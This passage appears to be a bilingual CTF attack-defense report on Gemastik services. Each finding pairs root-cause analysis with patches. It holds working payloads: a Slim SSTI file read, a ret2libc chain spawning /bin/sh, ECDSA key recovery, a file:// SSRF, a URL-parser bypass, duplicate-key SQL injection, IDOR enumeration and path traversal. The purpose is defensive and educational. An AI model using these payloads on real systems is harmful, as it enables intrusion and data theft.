SOURCE (Attacker Input) — Untrusted

`scan_id` query parameter on `/api/private/report`

TRANSFORM (Processing) — Path

`report_file = f"report/{scan_id}.json"`; `open(report_file)`

SINK (Execution Point) — Impact

`open()` / `json.load()`

2. Root Cause

`scan_id=../../some/file` can escape the `report/` directory, but the `.json` suffix restricts the target. This is a real traversal primitive, but the old claim that it reads the flag is not supported unless the flag is in a `.json` file.

Syntax / Code Walkthrough

- `scan_id` is concatenated into a path without normalization.
- The hard-coded `.json` suffix means only files ending in `.json` can be read.

3. VALIDITY EVIDENCE

Source review: traversal is possible, but the `.json` suffix is always appended and `json.load()` must succeed. No local test read `/flag.txt`; status PARTIALLY VALID (limited arbitrary `.json` read).

4. ATTACK SCENARIO / STEPS

1. Reach `/api/private/report` (directly or via smuggling).
2. Set `scan_id` to a traversal path targeting a `.json` file.
3. The server reads and renders the JSON if it exists and parses.

Reference: `exploits/tempest-poc/exploit.py --vuln traversal`

Payload / Command

```
GET /api/private/report?scan_id=../../path/to/file (reads only if the target ends in .json)
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
report_file = f"report/{scan_id}.json"
with open(report_file, "r") as f:
    scan_data = json.load(f)
```

AFTER (Patched)

```
scan_id = str(uuid.UUID(scan_id))
report_file = os.path.join("report", scan_id + ".json")
if not os.path.realpath(report_file).startswith(os.path.realpath("report") + os.sep):
    raise ValueError("invalid scan_id")
```

6. PATCH VERIFICATION

- ✓ Validate `scan_id` as a UUID and resolve the path under `report/`.
- ✓ Traversal strings must return 400; a legitimate report must still render.

CHECKLIST SLA & VERIFIKASI PATCH:
Menambal SSTI dan Path Traversal langsung di `backend/src/app.py` adalah langkah paling krusial karena walaupun attacker berhasil mem-bypass Nginx, payload RCE mereka tetap tidak akan bekerja.

Gemastik 2024 Crypto Python / Custom ECDSA (secp256k1) 1 VALID

18. ticketer

Primary Source File:

`gemastik-xvii-final/ticketer/src/main.py & pok.py`

APA YANG DILAKUKAN SERVICE INI?

Layanan pembelian dan refund tiket menggunakan Proof-of-Knowledge berbasis tanda tangan ECDSA. User memasukkan username, lalu sistem membuat pasangan kunci `pk, vk = pok.keygen(username.encode())`. Jika saldo mencapai 100, user bisa membeli tiket FLAG.

FINDING 1 OF 1

Deterministic Private Key dari Username Publik + Ticket Refund Replay

VALID Critical Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-321	exploits/ticketer/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

`Input `username` saat masuk ke sistem dan input string `ticket` saat melakukan Refund`

TRANSFORM (Processing) Path

`` `keygen(seed)` menghitung private key hanya dengan `pk = H(username.encode())`. Lalu saat refund, sistem mengecek `ticket_id in self.issued_tickets and ticket not in self.used_tickets` ``

SINK (Execution Point) Impact

`Mencairkan uang refund berkali-kali untuk `ticket_id` yang sama karena `self.used_tickets` mencatat string `ticket` lengkap (beserta signature), bukan `ticket_id`-nya!`

2. Root Cause

Attacker membeli 1 tiket VIP. Karena attacker tahu nilai private key `pk = H(username)`, attacker bisa membuat tanda tangan (proof) baru yang valid untuk `ticket_id` yang sama berkali-kali. Karena string `ticket` (ID + proof baru) berubah setiap kali ditandatangani ulang, pengecekan `ticket not in self.used_tickets` selalu lolos dan attacker bisa me-refund 1 tiket yang sama terus-menerus hingga saldonya cukup untuk membeli FLAG!

Syntax / Code Walkthrough

- pk = H(seed): Karena seed-nya hanya username (tanpa secret server), attacker tahu persis nilai private key `pk` miliknya sendiri!
- ticket_id in self.issued_tickets and ticket not in self.used_tickets: Satu `ticket_id` yang sama bisa memiliki jutaan tanda tangan (proof) ECDSA yang berbeda karena ECDSA menggunakan angka acak saat menandatangani.

3. VALIDITY EVIDENCE

Source review: `pok.keygen(seed)` sets `pk = H(seed)` where `H(m)=int(shake_256(m).digest(128)) % q`; the username is public, so the private key is derivable. Refund checks `ticket_id in issued_tickets and ticket not in used_tickets`; `used_tickets` stores the whole `ticket` string (ID + proof), so re-signing the same ID with a new nonce creates a different string and passes. The balance grows until the FLAG ticket (100) is affordable.

4. ATTACK SCENARIO / STEPS

1. Enter any username; compute `pk = H(username)` and the corresponding secp256k1 public key.

2. Buy a VIP ticket ($10), receiving `ticket_id` and a proof.

3. Sign the same `ticket_id` again with a fresh nonce and submit the new `ticket_id+proof` to refund.

4. Repeat refunds until balance >= 100, then buy the FLAG ticket.

Reference: `exploits/ticketer/exploit.py`

Payload / Command

```
# Private key is H(username), not a server secret.
# Buy one VIP ticket ($10), then refund the same ticket_id repeatedly with a
# fresh valid ECDSA signature each time (used_tickets stores the full string).
python3 exploits/ticketer/exploit.py --host 127.0.0.1 --port 14000 --username attacker
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
# Di pok.py:
def keygen(seed):
    pk = H(seed) # Attacker bisa menghitung sendiri pk ini!
    vk = pk * curve.secp256k1.G
    return pk, vk

# Di main.py (refund):
if ticket_id in self.issued_tickets and ticket not in self.used_tickets:
    self.used_tickets.append(ticket)
```

AFTER (Patched)

```
# 1. Di pok.py: Tambahkan secret acak server saat menurunkan private key
import os
SERVER_SECRET = os.urandom(32)
def keygen(seed):
    pk = H(SERVER_SECRET + seed)
    vk = pk * curve.secp256k1.G
    return pk, vk

# 2. Di main.py (refund): Simpan dan cek ticket_id di used_tickets, BUKAN string ticket
lengkapnya!
if ticket_id in self.issued_tickets and ticket_id not in self.used_tickets:
    self.used_tickets.append(ticket_id)
```

6. PATCH VERIFICATION

- ✓ Derive the key with a server-side secret: `pk = H(SERVER_SECRET + username)`.
- ✓ Track used refunds by `ticket_id`, not by the full signed string.
- ✓ Re-signing the same ID must be rejected; a normal refund must still work once.

CHECKLIST SLA & VERIFIKASI PATCH:
Mengubah `self.used_tickets` agar menyimpan `ticket_id` dan menambahkan `SERVER_SECRET` pada `keygen` tidak merusak alur beli/refund normal sama sekali.

Gemastik 2023 | Web | Ruby / Sinatra + Slim Template | 1 VALID

19. art

Primary Source File:

`gemastik-xvi-final/services/art/app.rb`

APA YANG DILAKUKAN SERVICE INI?

Aplikasi web Ruby Sinatra satu file yang menerima parameter URL `/art/:word` dan menampilkan iframe ASCII art dari kata tersebut menggunakan template engine Slim.

FINDING 1 OF 1

Server-Side Template Injection (SSTI) pada Slim::Template

VALID | Critical | Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-1336	exploits/art/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

`params[:word] dari parameter route `/art/:word``

TRANSFORM (Processing) — Path

`Digabungkan langsung dengan operator `+` ke dalam blok string `Slim::Template.new { ... + params[:word] + ... }``

SINK (Execution Point) — Impact

`Slim::Template.new { ... }.render`

2. Root Cause

Karena `params[:word]` ditempel langsung menjadi kode sumber template Slim, attacker cukup mengakses URL `/art/%23{File.read('/flag.txt')}` (di mana `%23` adalah karakter `#`), maka Slim akan mengeksekusi `File.read('/flag.txt')` dan menampilkan flag di dalam HTML.

Syntax / Code Walkthrough

- #{...} di dalam template Slim: Saat Slim merender sebuah teks template, setiap pola `#{kode_ruby}` di dalam teks tersebut akan dieksekusi sebagai kode program Ruby di server!

3. VALIDITY EVIDENCE

Source review and official exploit: `Slim::Template.new{ '<iframe ... text=' + params[:word] + '></iframe>' }` concatenates the route parameter into the Slim source. The `#{...}` interpolation executes Ruby; the byte array decodes to `/flag.txt`. The official `gemastik-xvi-final/exploits/art/exp.py` returns the flag.

4. ATTACK SCENARIO / STEPS

1. Request `/art/` followed by the URL-encoded `#{File.read([...].pack("c*"))}` payload.
2. Slim compiles the interpolated expression.
3. The response HTML contains the contents of `/flag.txt`.

Reference: `exploits/art/exploit.py`

Payload / Command

```
# Official payload: #{File.read([47,102,108,97,103,46,116,120,116].pack("c*"))}
# URL-encoded:
GET
/art/%23%7BFile.read(%5B47%2C102%2C108%2C97%2C103%2C46%2C116%2C120%2C116%5D.pack(%22c*%22))%7D
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
get '/art/:word' do
  return Slim::Template.new{
    '<iframe height="100%" width="100%" frameborder="0"
src=https://asciified.thelicato.io/api/v2/ascii?text=' + params[:word] + '></iframe>'
  }.render
end
```

AFTER (Patched)

```
require 'cgi'

get '/art/:word' do
  safe_word = CGI.escape(params[:word].to_s)
  return '<iframe height="100%" width="100%" frameborder="0"
src="https://asciified.thelicato.io/api/v2/ascii?text=' + safe_word + '"></iframe>'
end
```

6. PATCH VERIFICATION

- ✓ The payload must render as literal text, not execute.
- ✓ A normal word such as `gemastik` must still render the iframe.
- ✓ Use `CGI.escape`/`ERB::Util.html_escape` and never build template source from input.

CHECKLIST SLA & VERIFIKASI PATCH:
Output HTML yang dihasilkan untuk kata normal tetap identik (`<iframe ...>`).

Gemastik 2023 | Pwn | C (CLI Binary) | 1 VALID

20. back-to-basic

Primary Source File:

`gemastik-xvi-final/services/back-to-basic/src/main.c`

APA YANG DILAKUKAN SERVICE INI?

Program C sangat sederhana yang memiliki fungsi `give_me_idea()` untuk membaca input ide dari user menggunakan `fgets`.

FINDING 1 OF 1

Classic Stack Buffer Overflow (ret2libc / ROP)

VALID | Critical | Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-121	exploits/back-to-basic/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Input standar (`stdin`) dari user pada fungsi `give_me_idea()`

TRANSFORM (Processing) — Path

Tidak ada pengecekan panjang, langsung dibaca ke array lokal di stack

SINK (Execution Point) — Impact

`fgets(buf, 200, stdin)` ke dalam `char buf[64]`

2. Root Cause

Binary di-compile dengan `-no-pie` dan `-fno-stack-protector` (tanpa canary). Attacker cukup mengirim 72 byte sampah diikuti rangkaian alamat ROP (Return-Oriented Programming) untuk membocorkan alamat libc lewat `puts` lalu memanggil `system('/bin/sh')`.

Syntax / Code Walkthrough

- char buf[64] vs fgets(buf, 200, stdin): Kapasitas array `buf` hanya 64 byte, tetapi `fgets` diizinkan membaca hingga 200 byte! Kelebihan 136 byte-nya akan menimpa Saved RBP dan Return Address di stack.

3. VALIDITY EVIDENCE

Source review, official exploit, and local execution: `fgets(buf, 200, stdin)` writes 200 bytes into `char buf[64]`; the binary is compiled without PIE/canary. The official script leaks `puts@got`, computes the libc base with `puts=0x84420`, and calls `system('/bin/sh')` with `binsh=0x1b45bd`. The same two-stage chain was verified end-to-end on a local rebuild (GCC 13, glibc 2.39, test `cat` shim) in 10/10 runs; that build required an added `pop rdi; ret` gadget, so the original Ubuntu 20.04 offsets remain the reference values.

4. ATTACK SCENARIO / STEPS

1. Connect and send 0x48 bytes of padding, `pop rdi`, `puts@got`, `puts@plt`, and `main`.
2. Read the leaked puts address and compute the libc base.
3. Send the second payload with a `ret` gadget, `pop rdi`, `/bin/sh`, and `system`.
4. Run `cat /flag.txt` in the shell.

Reference: `exploits/back-to-basic/exploit.py`

Payload / Command

```
# Official offsets (non-PIE, no canary):
junk=0x48; pop_rdi=0x401243; puts@plt=0x401060; puts@got=0x403fd8;
main=0x4011a9; ret=0x40101a; libc puts=0x84420; system=0x52290; binsh=0x1b45bd
# Stage 1: leak puts@got, return to main. Stage 2: ret2libc system('/bin/sh').
python3 exploits/back-to-basic/exploit.py --host 127.0.0.1 --port 22000
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
void give_me_idea() {
  char buf[64];
  puts("Do you have a good idea?");
  fgets(buf, 200, stdin);
}
```

AFTER (Patched)

```
void give_me_idea() {
  char buf[64];
  puts("Do you have a good idea?");
  fgets(buf, sizeof(buf), stdin);
}
```

6. PATCH VERIFICATION

- ✓ `fgets(buf, sizeof(buf), stdin)` must prevent the overflow.
- ✓ Compile with `-fstack-protector-strong`, PIE, and full RELRO.
- ✓ The exploit must fail; normal input must still work.

CHECKLIST SLA & VERIFIKASI PATCH:
Ubah `200` menjadi `sizeof(buf)` lalu compile ulang dengan flag keamanan (`-fstack-protector-strong -fPIE -pie`).

Gemastik 2023 | Crypto | Python / Custom ECDSA | 1 VALID

21. burvesigner

Primary Source File:

`gemastik-xvi-final/services/burvesigner/src/burvesigner.py`

APA YANG DILAKUKAN SERVICE INI?

Service pembuat token autentikasi menggunakan tanda tangan ECDSA pada kurva eliptik kustom 112-bit. Endpoint `/flag` memberikan flag jika token memiliki `role == 'admin'`.

FINDING 1 OF 1

Time-Based & Biased ECDSA Nonce k -> Private Key Recovery

VALID | Critical | Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-338	exploits/burvesigner/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Permintaan pembuatan token guest (`sign(msg)`) oleh attacker

TRANSFORM (Processing) — Path

Nonce `k` dibuat dengan rumus `k = (int(time() * 1337) << self.u) + self.v` di mana `self.v` adalah nilai tetap (statis) yang dibuat sekali saat `set_keys()`!

SINK (Execution Point) — Impact

```
s = (self.hash(msg) - self.x * R.x) * pow(k, -1, self.C.q) % self.C.q
```

2. Root Cause

Dalam ECDSA, jika selisih antara dua nonce `k1 - k2` diketahui atau bisa ditebak, maka kunci privat `self.x` bisa dihitung langsung dengan persamaan linear sederhana! Karena `self.v` tetap sama, maka `k2 - k1 = (t2 - t1) << u`. Attacker cukup meminta 2 token dalam waktu berdekatan, menebak selisih waktu `t2 - t1`, menghitung kunci privat `self.x`, lalu menandatangani token baru dengan `role: admin`.

Syntax / Code Walkthrough

- self.v dibuat sekali di set_keys(): Artinya untuk semua signature yang dibuat oleh server, bagian bit bawah dari nonce `k` (`self.v`) SELALU SAMA! Sedangkan bagian bit atasnya hanya bergantung pada waktu `int(time() * 1337)`.

3. VALIDITY EVIDENCE

Source review and official exploit: `k = (int(time()*1337) << self.u) + self.v` with a fixed `self.v`; two signatures have a known high-bit difference `(t2-t1) << u`. The official script brute-forces the low 20-bit difference, solves for `k1`, recovers `priv`, and forges `{"user":"admin","role":"admin"}`.

4. ATTACK SCENARIO / STEPS

1. Request two guest tokens and decode `(R.x, R.y, s)` from each.
2. Brute-force `bf` such that `R1 + G*(bf<<(112-64)) == R2`.
3. Solve the two ECDSA equations for `k1` and the private key.
4. Sign an admin JSON payload and send it as the `token` cookie.
5. Read the flag from the welcome page.

Reference: `exploits/burvesigner/exploit.py`

Payload / Command

```
See `exploits/burvesigner/exploit.py` (ported from the official `gemastik-xvi-final/exploits/burvesigner/exp.py`): request two guest tokens, brute-force the nonce difference `bf << (112-64)`, recover the private key, and sign an admin token.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
def sign(self, msg):
    self.set_keys()
    k = (int(time() * 1337) << self.u) + self.v
    R = k * self.C.G
    s = (self.hash(msg) - self.x * R.x) * pow(k, -1, self.C.q) % self.C.q
```

AFTER (Patched)

```
import secrets

def sign(self, msg):
    self.set_keys()
    # Gunakan CSPRNG penuh dari 1 sampai q-1 untuk setiap penandatanganan!
    k = secrets.randbelow(self.C.q - 1) + 1
    R = k * self.C.G
    s = (self.hash(msg) - self.x * R.x) * pow(k, -1, self.C.q) % self.C.q
```

6. PATCH VERIFICATION

- ✓ Use a CSPRNG nonce (`secrets.randbelow(q-1)+1`) or RFC 6979.
- ✓ Two signatures must not have a recoverable linear nonce relation.
- ✓ The forged admin token must be rejected.

CHECKLIST SLA & VERIFIKASI PATCH:
Mengganti `k` dengan `secrets.randbelow(self.C.q - 1) + 1` tidak mengubah format signature sama sekali, sehingga fungsi `verify()` tetap berjalan 100% normal.

Gemastik 2023 | Web | PHP (cURL) | 1 VALID

22. crawlback

Primary Source File:

`gemastik-xvi-final/services/crawlback/src/crawlback.php`

APA YANG DILAKUKAN SERVICE INI?

Aplikasi PHP untuk mem-backup halaman web. User mengirim URL lewat form POST, lalu server mengambil isinya dengan `curl_exec()`, menyimpannya ke file HTML di folder `backups/`, dan me-redirect user ke file tersebut.

FINDING 1 OF 1

Unrestricted SSRF / Arbitrary File Read via file:// Protocol di cURL

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-918	exploits/crawlback/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

`$_POST['url'] (input URL dari user)`

TRANSFORM (Processing) — Path

`Diteruskan langsung ke `CURLOPT_URL` tanpa validasi protokol/scheme maupun host`

SINK (Execution Point) — Impact

`curl_exec($curl) lalu disimpan dengan `save($data)``

2. Root Cause

Attacker cukup mengirimkan `url=file:///flag.txt`. Fungsi `curl_exec` akan membaca isi `/flag.txt` dari dalam server, menyimpannya ke `backups/<random>.html`, dan langsung me-redirect browser attacker ke file berisi flag tersebut!

Syntax / Code Walkthrough

- CURLOPT_URL: Secara default, cURL di PHP tidak hanya mendukung `http://` dan `https://`, tetapi juga mendukung protokol `file://` untuk membuka file lokal di harddisk server!

3. VALIDITY EVIDENCE

Source review and official exploit: `$_POST['url']` is passed directly to `CURLOPT_URL`; cURL supports `file://`. The response is saved in `backups/` and the script redirects to it. The official `gemastik-xvi-final/exploits/crawlback/exp.py` returns the flag.

4. ATTACK SCENARIO / STEPS

1. POST `url=file:///flag.txt` to `/crawlback.php`.
2. cURL reads `/flag.txt` and `save()` writes it to `backups/<random>.html`.
3. Follow the redirect (or parse it) and read the flag.

Reference: `exploits/crawlback/exploit.py`

Payload / Command

```
POST /crawlback.php  url=file:///flag.txt
# The server curls the file, saves it under backups/<random>.html, and redirects there.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
function get($url){
    $curl = curl_init();
    curl_setopt_array($curl, array(
        CURLOPT_RETURNTRANSFER ⇒ 1,
        CURLOPT_URL ⇒ $url,
    ));
    $resp = curl_exec($curl);
    curl_close($curl);
    return $resp;
}
```

AFTER (Patched)

```
function get($url){
    $parts = parse_url($url);
    if (!$parts || !in_array($parts['scheme'] ?? '', ['http', 'https'], true)) {
        http_response_code(400);
        die("Invalid URL scheme");
    }
    $host = $parts['host'] ?? '';
    $ip = gethostbyname($host);
    if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE |
FILTER_FLAG_NO_RES_RANGE)) {
        http_response_code(400);
        die("Forbidden internal IP");
    }
    $curl = curl_init();
    curl_setopt_array($curl, array(
        CURLOPT_RETURNTRANSFER ⇒ 1,
        CURLOPT_URL ⇒ $url,
        CURLOPT_PROTOCOLS ⇒ CURLPROTO_HTTP | CURLPROTO_HTTPS,
        CURLOPT_REDIR_PROTOCOLS ⇒ CURLPROTO_HTTP | CURLPROTO_HTTPS,
        CURLOPT_FOLLOWLOCATION ⇒ false,
        CURLOPT_TIMEOUT ⇒ 5,
    ));
    $resp = curl_exec($curl);
    curl_close($curl);
    return $resp;
}
```

6. PATCH VERIFICATION

- ✓ Allow only `http`/`https`, resolve the host, and block private/loopback addresses.
- ✓ `file://`, `gopher://`, and `dict://` must be rejected.
- ✓ A normal http URL must still be fetched and saved.

CHECKLIST SLA & VERIFIKASI PATCH:
Memasang `CURLOPT_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS` secara instan mematikan protokol `file://`, `gopher://`, dan `dict://` di level library cURL.

Gemastik 2023 | Web | Python / BlackSheep Web Framework | 1 VALID

23. gemas-fetcher

Primary Source File:

`gemastik-xvi-final/services/gemas-fetcher/src/controllers/dashboard.py`

APA YANG DILAKUKAN SERVICE INI?

Layanan pengambil URL yang menerima file terkompresi (gzip + zlib) berisi JSON `{provider, url}`. Mendukung 3 provider: `curl`, `wget`, dan `python` (`urllib.request.urlopen`).

FINDING 1 OF 1

URL Parser Bypass (Leading Whitespace CVE-2023-24329) -> Arbitrary File Read

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-20	exploits/gemas-fetcher/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Field `data['url']` dari payload JSON yang di-upload user

TRANSFORM (Processing) — Path

Dicek dengan `urlparse(data['url']).scheme in ['file', 'ftp']` tanpa di-`.strip()` terlebih dahulu

SINK (Execution Point) — Impact

`urllib.request.urlopen(data['url']).read()` serta `subprocess.check_output(['curl', data['url']])`

2. Root Cause

Adanya perbedaan perilaku antara `urlparse` dan `urlopen` terhadap spasi di awal string memungkinkan attacker mengirim `{"provider": "python", "url": " file:///flag.txt"}` untuk melewati filter dan membaca `/flag.txt`. Selain itu, pengecekan hostname hanya memblokir `localhost` dan `127.0.0.1` (bisa ditembus dengan `0.0.0.0` atau `127.0.0.2`).

Syntax / Code Walkthrough

- urlparse(' file:///flag.txt'): Jika ada spasi di paling depan URL, `urlparse` pada versi Python tersebut gagal mengenali scheme `file` (mengembalikan scheme kosong `""`), sehingga lolos dari blokir `in ['file', 'ftp']`!
- urllib.request.urlopen(' file:///flag.txt'): Saat masuk ke `urlopen`, spasi di depan justru dihapus otomatis lalu ia tetap membuka `/flag.txt`!

3. VALIDITY EVIDENCE

Source review and official exploit: `urlparse(data['url']).scheme` sees an empty scheme when the URL starts with a space, so the `file`/`ftp` block is bypassed; `urllib.request.urlopen` strips the space and opens `file:///flag.txt`. The official script registers/logs in, uploads the gzip+zlib JSON blob with the `\x00\x02` prefix, and base64-decodes the response.

4. ATTACK SCENARIO / STEPS

1. Register and log in.
2. Build `{"provider":"python","url":" file:///flag.txt"}` and compress it with zlib then gzip; prefix `\x00\x02`.
3. POST it to `/dashboard/fetch_by_file`.
4. Base64-decode the response to obtain the flag.

Reference: `exploits/gemas-fetcher/exploit.py`

Payload / Command

```
# Official payload: provider=python, url=" file:///flag.txt" (leading space).
# Upload: b"\x00\x02" + gzip.compress(zlib.compress(json.dumps({...}).encode()))
python3 exploits/gemas-fetcher/exploit.py --host 127.0.0.1 --port 16000
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
if urlparse(data["url"]).scheme in ["file", "ftp"]:
    return "You cannot use this scheme!!"
if urlparse(data["url"]).hostname in ["localhost", "127.0.0.1"]:
    return "Cannot fetch localhost / 127.0.0.1"
if data["provider"] == "python":
    return urllib.request.urlopen(data["url"]).read()
```

AFTER (Patched)

```
import ipaddress, socket

raw_url = (data.get("url") or "").strip()
parsed = urlparse(raw_url)

# Gunakan Allowlist: HANYA izinkan http dan https!
if parsed.scheme not in ("http", "https") or not parsed.hostname:
    return "You cannot use this scheme!!"

# Resolusi DNS dan blokir semua IP private/loopback/internal
try:
    for info in socket.getaddrinfo(parsed.hostname, None):
        ip = ipaddress.ip_address(info[4][0])
        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved or
ip.is_unspecified:
            return "Cannot fetch localhost / 127.0.0.1"
except Exception:
    return "Invalid host"

# Gunakan raw_url yang sudah di-strip dan tambahkan '--' pada subprocess curl/wget
```

6. PATCH VERIFICATION

- ✓ Strip the URL and allow only `http`/`https`.
- ✓ Resolve DNS and block private/loopback addresses (including numeric variants).
- ✓ The leading-space file URL must be rejected; a normal URL fetch must work.

CHECKLIST SLA & VERIFIKASI PATCH:
Pertahankan pesan error `"You cannot use this scheme!!"` dan `"Cannot fetch localhost / 127.0.0.1"` jika sewaktu-waktu SLA checker menguji respon pesan tersebut.

Gemastik 2023 | Web | Go (Note Service) + Python FastAPI (Validation Service) + MySQL

2 VALID

24. gemas-notes

Primary Source File:

`gemastik-xvi-final/services/gemas-notes/src/note-service/src/repository/notes/notes.go`

APA YANG DILAKUKAN SERVICE INI?

Aplikasi catatan dengan arsitektur 2 microservice: request JSON diperiksa dulu oleh `validation-service` (Python), lalu diteruskan ke `note-service` (Go). Flag disimpan di tabel database `rewards` kolom `fl4gg`.

FINDING 1 OF 2

JSON Parser Differential Bypass + SQL Injection pada GetNotesCount

VALID | Critical | Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-89	`exploits/gemas-notes/exploit.py --vuln sqli`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

`Body JSON `keyword` pada `POST /api/notes/count` dan parameter URL `:id` pada `GET /api/notes/:id``

TRANSFORM (Processing) Path

`Validation service mem-parse JSON dengan `json.loads` (Python), sedangkan Note service mem-parse dengan `jsonparser` (Go), lalu menyusun SQL dengan `fmt.Sprintf("SELECT count(*) FROM Notes WHERE %s LIKE '%%%s%%'", key, keyword)``

SINK (Execution Point) Impact

`r.db.Get(&count, fmt.Sprintf(countNote, key, keyword))`

2. Root Cause

Attacker mengirim JSON dengan dua key `keyword`: yang pertama berisi payload SQL Injection untuk membaca `rewards.fl4gg`, dan yang kedua berisi teks bersih `"hehe"`. Validation service (Python) mengecek key terakhir dan meloloskannya, lalu Note service (Go) mengambil key pertama dan mengeksekusinya di MySQL!

Syntax / Code Walkthrough

- Duplicate JSON Key (`{"keyword": "JAHAT", "keyword": "AMAN"}`): Saat ada dua key yang sama di JSON, Python `json.loads` mengambil key TERAKHIR (`"AMAN"`), sedangkan Go `jsonparser` mengambil key PERTAMA (`"JAHAT"`)!
- fmt.Sprintf(countNote, key, keyword): Menempelkan `keyword` langsung ke string SQL tanpa tanda tanya `?` (parameter binding).

3. VALIDITY EVIDENCE

Source review and official exploit: the validation service parses the body with Python `json.loads` (last duplicate key wins) while the Go note service uses `jsonparser.GetString` (first duplicate key wins). The clean `hehe` passes validation; the SQLi payload reaches `fmt.Sprintf("SELECT count(*) FROM Notes WHERE %s LIKE '%%%s%%'", key, keyword)`. The official script extracts `rewards.fl4gg` byte-by-byte and returns `GEMASTIK{...}`.

4. ATTACK SCENARIO / STEPS

1. Log in (the seeded checker account works).
2. Send a JSON body with two `keyword` keys: the SQLi payload first, `hehe` last.
3. Validation accepts the last value; Go uses the first value and executes the injected SQL.
4. Use a boolean/ASCII oracle to extract `rewards.fl4gg` character by character.

Reference: `exploits/gemas-notes/exploit.py --vuln sqli`

Payload / Command

```
{"count_by":"title","keyword":"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM
rewards),10,1))=71,31337,0) ORDER BY 1 DESC#","keyword":"hehe"}
# Python json.loads keeps the LAST keyword ("hehe") for validation; Go jsonparser
# returns the FIRST keyword (the SQLi), which reaches fmt.Sprintf().
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
const countNote = "SELECT count(*) FROM Notes WHERE %s LIKE '%%%s%%'"

func (r *NotesRepo) GetNotesCount(key string, keyword string) (*int, error) {
    var count int
    err := r.db.Get(&count, fmt.Sprintf(countNote, key, keyword))
    return &count, err
}
```

AFTER (Patched)

```
func (r *NotesRepo) GetNotesCount(key string, keyword string) (*int, error) {
    var count int
    var query string
    switch key {
    case "title":
        query = "SELECT count(*) FROM Notes WHERE title LIKE ?"
    case "tags":
        query = "SELECT count(*) FROM Notes WHERE tags LIKE ?"
    default:
        return nil, fmt.Errorf("invalid column")
    }
    err := r.db.Get(&count, query, "%" + keyword + "%")
    return &count, err
}
```

6. PATCH VERIFICATION

- ✓ Reject duplicate JSON keys and use the same parser on both services.
- ✓ Use a parameterized query and allowlist `count_by` (`title`/`tags`).
- ✓ The duplicate-key payload must return an error or a normal count, not the injected result.

FINDING 2 OF 2

IDOR: GET /api/notes/:id has no authentication or ownership check

VALID High Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-639	exploits/gemas-notes/exploit.py --vuln idor

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

`:id` route parameter on `GET /api/notes/:id`

TRANSFORM (Processing) Path

`GetDetailNotes(ps.ByName("id"))` → `SELECT ... FROM Notes, User WHERE Notes.author=User.id AND Notes.id=?`

SINK (Execution Point) Impact

`SendJSONResp(w, notes)` returns the note content/tags/author

2. Root Cause

Any unauthenticated attacker can enumerate note IDs and read every note, including private notes. This is a separate issue from the count SQL injection.

Syntax / Code Walkthrough

- The route is registered without `AuthorizationCheck`, unlike the write/delete routes.
- The query filters only by note id, not by the authenticated user; there is no session check at all.

3. VALIDITY EVIDENCE

Source review: `main.go` registers `GET /api/notes/:id` without `AuthorizationCheck`; `detailNote` filters only by `Notes.id`. The response includes `content`, `tags`, and author email. This is a confirmed IDOR.

4. ATTACK SCENARIO / STEPS

1. Enumerate `/api/notes/1`, `/api/notes/2`, ... without a token.
2. Each response returns the note content and author.
3. Read private notes, including any note containing sensitive data.

Reference: `exploits/gemas-notes/exploit.py --vuln idor`

Payload / Command

```
for i in range(1,100): GET /api/notes/{i}
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
router.GET("/api/notes/:id", Logger(noteHandler.GetDetailNotes))
// GetDetailNotes: SELECT ... WHERE Notes.id=?
```

AFTER (Patched)

```
router.GET("/api/notes/:id", Logger(AuthorizationCheck(noteHandler.GetDetailNotes)))
// and add `AND Notes.author = ?` with the session user id.
```

6. PATCH VERIFICATION

- ✓ Require authentication and filter by the session user id (or admin role).
- ✓ A request for another user's note must return 404/403; the owner's note must still load.

CHECKLIST SLA & VERIFIKASI PATCH:
Menutup SQLi dengan `?` di `notes.go` langsung menggagalkan serangan bahkan walaupun attacker tetap memakai trik duplicate JSON key. Jangan lupa tambahkan juga pengecekan autentikasi/author pada `GetDetailNotes`.

Gemastik 2023 | Pwn | C Binary + Python FastAPI Wrapper | 1 VALID

25. hirnfick

Primary Source File:

`gemastik-xvi-final/services/hirnfick/src/hirnfick.c`

APA YANG DILAKUKAN SERVICE INI?

Web service FastAPI yang menerima kode bahasa esoterik Brainfuck (`>`, `<`, `+`, `-`, `.`, `,`, `[`, `]`), menyimpannya ke file sementara, lalu menjalankan binary C `./hirnfick` untuk menginterpretasikannya.

FINDING 1 OF 1

